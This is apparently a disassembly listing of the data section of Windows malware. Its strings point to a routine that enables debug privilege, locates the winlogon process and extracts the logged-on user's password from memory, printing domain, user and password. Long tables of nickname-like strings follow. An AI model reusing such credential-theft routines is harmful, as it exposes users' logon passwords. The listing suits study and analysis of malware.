		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437964	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437990	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A24	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A3C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B00	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B4C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		mov	al, ds:38004387h
		lodsb
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edi+eax*4-5587FFBDh], bl
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	ah, dl
		lodsb
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_438798
		dd offset dword_438794
		dd offset dword_438790
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438780
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset word_438768
		dd offset dword_438764
		dd offset aI_0		; "I"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset aA_0		; "A"
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset dword_43872C
		dd offset dword_438728
		dd offset word_438724
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384BC
		dd offset off_4384B8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438324
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF0	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438780
		dd offset aC		; "c"
		dd offset aD		; "d"
		db  38h	; 8
		db 0ACh	; 
		db  42h	; B
		db    0
		db  98h	; 
		db  87h	; 
		db  43h	; C
		db    0
		db  94h	; 
		db  87h	; 
		db  43h	; C
		db    0
		db  90h	; 
		db  87h	; 
		db  43h	; C
		db    0
		db 0D4h	; 
		db 0C2h	; 
		db  42h	; B
		db    0
; ---------------------------------------------------------------------------
		cld
		mov	ah, 42h
		add	[ebx+esi*4+42h], al
		add	[eax-39h], bl
		inc	edx
		add	[edi+eax*4-533BFFBDh], cl
		inc	edx
		add	[eax-4Dh], cl
		inc	edx
		add	al, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
; ---------------------------------------------------------------------------
		mov	al, ds:84004387h
		xchg	eax, [ebx+0]
		pushf
		xchg	eax, [ebx+0]
		mov	[edi-7E83FFBDh], al
		inc	ebx
		add	[eax-7Fh], bh
		inc	ebx
		add	[ecx+eax*4+43h], dh
		add	[eax-7Fh], dh
		inc	ebx
		add	[ecx+eax*4+43h], ch
		add	[eax-7Fh], ch
		inc	ebx
		add	[ecx+eax*4+43h], ah
		add	[ecx+eax*4+43h], bl
		add	[ecx+eax*4+43h], dl
		add	[ecx+eax*4+43h], cl
		add	[ecx+eax*4+43h], al
		add	[eax-6BFFBC79h], cl
		xchg	eax, [ebx+0]
		fadd	st(2), st
		inc	edx
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset off_438140
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438750
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438780
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438734
		dd offset dword_43D128
		dd offset off_438100
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B4
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438090
		dd offset dword_43808C
		dd offset dword_438088
dword_438088	dd 7536h		; DATA XREF: ___:00438084o
dword_43808C	dd 7535h		; DATA XREF: ___:00438080o
dword_438090	dd 7C75347Ch, 0		; DATA XREF: ___:0043807Co
dword_438098	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438078o
dword_4380A0	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438074o
dword_4380A8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043806Co
dword_4380BC	dd 6C6F6Ch		; DATA XREF: ___:00438068o
dword_4380C0	dd 746F74h		; DATA XREF: ___:00438064o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438060o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043805Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438058o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438054o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438050o
aShit		db 'shit',0             ; DATA XREF: ___:0043804Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438048o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438044o
		align 10h
off_438100	dd offset word_594F42	; DATA XREF: ___:00438040o
aFree		db 'Free',0             ; DATA XREF: ___:0043802Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438028o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043801Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438010o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043800Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438008o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FECo
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE0o
		align 10h
off_438140	dd offset loc_425242	; DATA XREF: ___:00437FDCo
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 4
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 10h
aGf		db 'gf',0
		align 4
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F80o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F38o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F34o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F30o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F2Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F28o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F24o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F20o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F1Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F18o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F14o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F10o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F0Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F08o
aLag		db 'lag',0              ; DATA XREF: ___:00437F04o
aBad		db 'bad',0              ; DATA XREF: ___:00437F00o
aTree		db 'tree',0             ; DATA XREF: ___:00437EFCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437EF8o
aLez		db 'lez',0              ; DATA XREF: ___:00437EF4o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF0o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EECo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EE8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EE4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EDCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437ED8o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437ED4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ECCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EC8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EC4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EBCo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EB8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EB4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EACo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EA8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EA4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437E9Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437E98o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E94o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E90o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E8Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437E88o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E84o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E80o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E7Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E78o
		align 4
off_438324	dd offset byte_4B5245	; DATA XREF: ___:00437E74o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E70o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E6Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E68o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E64o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E60o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E5Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E58o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E54o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E50o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E4Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E48o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E44o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E40o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E3Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E38o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E34o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E30o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E2Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E28o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E24o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E20o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E1Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E18o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E14o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E10o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E0Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E08o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E04o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E00o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437DFCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437DF8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DF4o
aArda		db 'arda',0             ; DATA XREF: ___:00437DF0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437DECo
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DE8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DE4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE0o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DDCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DD8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DD4o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD0o
		align 4
off_4384B8	dd offset byte_457441	; DATA XREF: ___:00437DCCo
dword_4384BC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DC8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DC4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DBCo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DB8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DB4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DACo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DA8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DA4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437D9Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00437D98o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D94o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D90o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D8Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D88o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D84o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D80o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D7Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D78o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D74o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D70o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D6Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D68o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D64o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D60o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D5Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D58o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D54o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D50o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D4Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D48o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D44o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D40o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D3Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D38o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D34o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D30o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D2Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D28o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D24o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D20o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D1Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D18o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D14o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D10o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D0Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D08o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D04o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D00o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437CFCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437CF8o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CF4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF0o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: ___:00437CECo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437CE8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CE4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE0o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437CDCo
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437CD8o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CD4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD0o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CCCo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CC8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CC4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CBCo
		align 10h
aM_0:					; DATA XREF: ___:00437CB8o
					; ___:00438004o
		unicode	0, <M>,0
word_438724	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CB4o
		align 4
